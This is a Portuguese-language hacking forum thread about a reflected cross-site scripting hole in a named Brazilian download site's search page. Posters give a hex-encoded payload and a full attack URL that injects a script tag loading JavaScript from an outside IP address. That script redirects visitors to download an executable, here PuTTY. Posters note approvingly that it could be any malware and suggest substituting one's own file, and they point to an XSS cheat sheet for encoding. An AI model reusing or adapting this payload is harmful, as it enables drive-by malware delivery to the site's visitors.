www.superdownloads.com.br XSS

[Mateus]

http://superdownloads.uol.com.br/busca/ ... 74_3E.html

[Wuefez]

Explica mais o Zé Bunda.

[vaikarai]

Explica mais o Zé Bunda.

ele so transformo o string ">
em Hex
que deu esse rezutado:
22 3E 3C 73 63 72 69 70 74 20 73 72 63 3D 22 68 74 74 70 3A 2F 2F 32 31 33 2E 33 2E 37 2E 31 31 31 2F 31 2E 6A 73 22 3E 3C 2F 73 63 72 69 70 74 3E
e coloco os _22_3E_ e assim por diante..

[vaikarai]

Ops esquecie de finalizar,
E dentro do http://213.3.7.111/1.js tem esse pequeno comando.
location.replace('http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe');
onde faz baixar o putty.exe
^^

[saint]

e esse putty é o que, programa.........o que é

[Mateus]

o putty no caso é o próprio putty mas poderia ser um malware qualquer

[rog]

muito bom memo

esses dias o site da microsoft tinha uma falha parecida

rog

[blackwinner]

É, seria interessante trocar o link do download pelo link do seu arquivo.

[Mateus]

updated com uma técnica nova que eu aprendi =D
http://superdownloads.uol.com.br/busca/_22_3E_3C_73_63_72_69_70_74_20_73_72_63_3D_22_68_74_74_70_3A_2F_2F_32_31_33_2E_33_2E_37_2E_31_31_31_2F_31_2F_31_2E_6A_73_22_3E_3C_2F_73_63_72_69_70_74_3E.html

[L3m4rk]

Mateus

Como transformar


em HEX? 

[Mateus]

eu poderia fazer um calculo gigante como bfox gosta mas prefiro de uma maneira mais inteligente.

http://ha.ckers.org/xss.html tá lá no fundo =D

depois é só usar o notepad para substituir os % por